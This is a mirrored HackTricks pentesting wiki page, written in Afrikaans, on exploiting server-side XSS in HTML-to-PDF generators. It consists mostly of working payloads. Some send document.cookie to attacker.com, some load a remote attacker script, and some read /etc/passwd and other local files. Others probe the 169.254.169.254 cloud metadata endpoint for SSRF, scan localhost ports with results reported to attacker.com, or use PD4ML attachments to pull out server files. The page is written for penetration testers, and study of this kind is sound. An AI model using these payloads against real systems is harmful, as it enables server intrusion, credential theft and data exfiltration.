mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
191 lines
9.0 KiB
Markdown
191 lines
9.0 KiB
Markdown
# Server Side XSS (Dynamic PDF)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Server Side XSS (Dynamic PDF)
|
|
|
|
As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF genereer om **arbitraire JS-kode** te **uit te voer**.\
|
|
So, as die **PDF-creator bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
|
|
|
|
Let asseblief daarop dat die `<script></script>` tags nie altyd werk nie, so jy sal 'n ander metode nodig hê om JS uit te voer (byvoorbeeld, om `<img` te misbruik).\
|
|
Ook, let daarop dat jy in 'n gewone uitbuiting **die geskepte pdf kan sien/aflaai**, so jy sal alles kan sien wat jy **via JS skryf** (met `document.write()` byvoorbeeld). Maar, as jy die geskepte PDF **nie kan sien nie**, sal jy waarskynlik **die inligting moet onttrek deur webversoeke na jou te maak** (Blind).
|
|
|
|
### Populêre PDF-generasie
|
|
|
|
- **wkhtmltopdf** is bekend vir sy vermoë om HTML en CSS in PDF-dokumente om te skakel, met die WebKit-rendering enjin. Hierdie hulpmiddel is beskikbaar as 'n oopbron-opdraglyn-hulpmiddel, wat dit toeganklik maak vir 'n wye reeks toepassings.
|
|
- **TCPDF** bied 'n robuuste oplossing binne die PHP-ekosisteem vir PDF-generasie. Dit is in staat om beelde, grafika en versleuteling te hanteer, wat sy veelsydigheid vir die skep van komplekse dokumente toon.
|
|
- Vir diegene wat in 'n Node.js-omgewing werk, bied **PDFKit** 'n lewensvatbare opsie. Dit stel die generasie van PDF-dokumente direk vanaf HTML en CSS in staat, wat 'n brug tussen webinhoud en drukbare formate bied.
|
|
- Java-ontwikkelaars mag **iText** verkies, 'n biblioteek wat nie net PDF-skep vergemaklik nie, maar ook gevorderde funksies soos digitale handtekeninge en vorminvulling ondersteun. Sy omvattende funksieset maak dit geskik vir die generering van veilige en interaktiewe dokumente.
|
|
- **FPDF** is 'n ander PHP-biblioteek, wat gekenmerk word deur sy eenvoud en gebruiksgemak. Dit is ontwerp vir ontwikkelaars wat 'n eenvoudige benadering tot PDF-generasie soek, sonder die behoefte aan uitgebreide funksies.
|
|
|
|
## Payloads
|
|
|
|
### Discovery
|
|
```html
|
|
<!-- Basic discovery, Write something-->
|
|
<img src="x" onerror="document.write('test')" />
|
|
<script>document.write(JSON.stringify(window.location))</script>
|
|
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
|
|
|
<!--Basic blind discovery, load a resource-->
|
|
<img src="http://attacker.com"/>
|
|
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
|
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
|
<link rel=attachment href="http://attacker.com">
|
|
|
|
<!-- Using base HTML tag -->
|
|
<base href="http://attacker.com" />
|
|
|
|
<!-- Loading external stylesheet -->
|
|
<link rel="stylesheet" src="http://attacker.com" />
|
|
|
|
<!-- Meta-tag to auto-refresh page -->
|
|
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
|
|
|
<!-- Loading external components -->
|
|
<input type="image" src="http://attacker.com" />
|
|
<video src="http://attacker.com" />
|
|
<audio src="http://attacker.com" />
|
|
<audio><source src="http://attacker.com"/></audio>
|
|
<svg src="http://attacker.com" />
|
|
```
|
|
### SVG
|
|
|
|
Enige van die vorige of volgende payloads kan binne hierdie SVG-payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein het en 'n ander een wat toegang tot die metadata-eindpunt het, word as voorbeelde gegee.
|
|
```html
|
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
|
<g>
|
|
<foreignObject width="800" height="500">
|
|
<body xmlns="http://www.w3.org/1999/xhtml">
|
|
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
|
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
|
</body>
|
|
</foreignObject>
|
|
</g>
|
|
</svg>
|
|
|
|
|
|
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
|
xmlns="http://www.w3.org/2000/svg">
|
|
<circle cx="50" cy="50" r="45" fill="green"
|
|
id="foo"/>
|
|
<script type="text/javascript">
|
|
// <![CDATA[
|
|
alert(1);
|
|
// ]]>
|
|
</script>
|
|
</svg>
|
|
```
|
|
Jy kan 'n baie **ander SVG payloads** vind in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
|
|
|
### Pad openbaarmaking
|
|
```html
|
|
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
|
if not, you will at least have wich path the bot is accessing -->
|
|
<img src="x" onerror="document.write(window.location)" />
|
|
<script> document.write(window.location) </script>
|
|
```
|
|
### Laai 'n eksterne skrip op
|
|
|
|
Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaarheid te misbruik om die bot 'n skrip te laat laai wat jy plaaslik beheer. Dan sal jy in staat wees om die payload plaaslik te verander en die bot dit elke keer met dieselfde kode te laat laai.
|
|
```html
|
|
<script src="http://attacker.com/myscripts.js"></script>
|
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
|
```
|
|
### Lees plaaslike lêer / SSRF
|
|
|
|
> [!WARNING]
|
|
> Verander `file:///etc/passwd` na `http://169.254.169.254/latest/user-data` byvoorbeeld om **te probeer om 'n eksterne webblad te bereik (SSRF)**.
|
|
>
|
|
> As SSRF toegelaat word, maar jy **kan nie** 'n interessante domein of IP bereik nie, [kyk hierdie bladsy vir potensiële omseilings](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
|
```html
|
|
<script>
|
|
x=new XMLHttpRequest;
|
|
x.onload=function(){document.write(btoa(this.responseText))};
|
|
x.open("GET","file:///etc/passwd");x.send();
|
|
</script>
|
|
```
|
|
|
|
```html
|
|
<script>
|
|
xhzeem = new XMLHttpRequest();
|
|
xhzeem.onload = function(){document.write(this.responseText);}
|
|
xhzeem.onerror = function(){document.write('failed!')}
|
|
xhzeem.open("GET","file:///etc/passwd");
|
|
xhzeem.send();
|
|
</script>
|
|
```
|
|
|
|
```html
|
|
<iframe src=file:///etc/passwd></iframe>
|
|
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
|
<link rel=attachment href="file:///root/secret.txt">
|
|
<object data="file:///etc/passwd">
|
|
<portal src="file:///etc/passwd" id=portal>
|
|
<embed src="file:///etc/passwd>" width="400" height="400">
|
|
<style><iframe src="file:///etc/passwd">
|
|
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
|
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
|
```
|
|
|
|
```html
|
|
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
|
```
|
|
### Bot vertraging
|
|
```html
|
|
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
|
<script>
|
|
let time = 500;
|
|
setInterval(()=>{
|
|
let img = document.createElement("img");
|
|
img.src = `https://attacker.com/ping?time=${time}ms`;
|
|
time += 500;
|
|
}, 500);
|
|
</script>
|
|
<img src="https://attacker.com/delay">
|
|
```
|
|
### Poort Skandering
|
|
```html
|
|
<!--Scan local port and receive a ping indicating which ones are found-->
|
|
<script>
|
|
const checkPort = (port) => {
|
|
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
|
let img = document.createElement("img");
|
|
img.src = `http://attacker.com/ping?port=${port}`;
|
|
});
|
|
}
|
|
|
|
for(let i=0; i<1000; i++) {
|
|
checkPort(i);
|
|
}
|
|
</script>
|
|
<img src="https://attacker.com/startingScan">
|
|
```
|
|
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
|
|
|
Hierdie kwesbaarheid kan baie maklik in 'n SSRF omgeskakel word (aangesien jy die skrip kan laat laai eksterne hulpbronne). Probeer dus net om dit te benut (lees 'n bietjie metadata?).
|
|
|
|
### Attachments: PD4ML
|
|
|
|
Daar is 'n paar HTML 2 PDF enjin wat toelaat om **aansluitings vir die PDF te spesifiseer**, soos **PD4ML**. Jy kan hierdie kenmerk misbruik om **enige plaaslike lêer** aan die PDF te **heg**.\
|
|
Om die aansluiting te open, het ek die lêer met **Firefox geopen en dubbelklik op die Papierclip simbool** om die **aansluiting** as 'n nuwe lêer te **stoor**.\
|
|
Om die **PDF antwoord** met burp te vang, moet ook die **aansluiting in duidelike teks** binne die PDF **wys**.
|
|
```html
|
|
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
|
<html>
|
|
<pd4ml:attachment
|
|
src="/etc/passwd"
|
|
description="attachment sample"
|
|
icon="Paperclip" />
|
|
</html>
|
|
```
|
|
## Verwysings
|
|
|
|
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
|
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
|
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
|
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
|
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|